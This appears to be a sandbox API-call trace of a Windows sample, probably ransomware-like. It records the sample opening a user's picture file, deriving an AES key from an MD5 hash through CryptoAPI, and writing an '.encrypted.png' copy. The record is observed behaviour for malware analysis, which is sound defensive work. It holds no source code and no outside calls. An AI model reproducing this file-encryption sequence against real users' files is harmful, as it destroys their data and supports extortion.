lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\4cYf0DEU1Rr.png", cchWideChar=76, lpMultiByteStr=0xe8f4069830, cbMultiByte=76, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\4cYf0DEU1Rr.png", lpUsedDefaultChar=0x0) returned 76 [0028.338] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\4cYf0DEU1Rr.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\4cyf0deu1rr.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.338] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0028.338] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=76, lpWideCharStr=0xe8f40606c0, cchWideChar=76 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\4cYf0DEU1Rr.png") returned 76 [0028.339] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.339] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.339] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.340] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.340] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178a20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.340] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.340] CloseHandle (hObject=0x188) returned 1 [0028.340] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.340] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.341] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.341] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.341] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.341] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.341] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.341] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.341] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.341] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.341] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.341] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.341] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.341] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.341] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.341] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.341] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.341] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.341] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.341] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.341] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.341] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.341] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.342] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.342] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.342] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.342] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.342] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.342] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.342] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.342] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.342] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.342] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.342] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.342] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.342] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.342] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.342] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f419a0a0) returned 1 [0028.342] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.342] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.342] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.342] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.342] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.342] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.343] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.343] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.343] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.343] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.343] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.343] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.343] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.343] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.343] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.344] CryptCreateHash (in: hProv=0xe8f419a0a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.344] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.344] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.344] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.344] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.344] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.344] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.344] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.344] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.344] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.344] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.344] CryptHashData (hHash=0xe8f4062800, pbData=0xe8f418b000, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.344] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.344] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.344] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.344] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.344] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.344] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.344] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.344] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.344] CryptDeriveKey (in: hProv=0xe8f419a0a0, Algid=0x660e, hBaseData=0xe8f4062800, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062720) returned 1 [0028.344] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.344] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.344] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.344] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.344] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.344] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.344] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.344] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.345] CryptDestroyHash (hHash=0xe8f4062800) returned 1 [0028.345] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.346] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.346] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.346] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.346] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.346] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\4cYf0DEU1Rr.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\4cyf0deu1rr.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.346] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.346] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.346] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.346] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.346] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.347] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq")) returned 0x10 [0028.347] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\4cYf0DEU1Rr.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\4cyf0deu1rr.encrypted.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.347] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.347] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.347] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.347] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.349] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.349] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x812c, lpOverlapped=0x0) returned 1 [0028.350] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.352] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.352] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.352] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.352] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.353] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.353] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.353] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.353] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 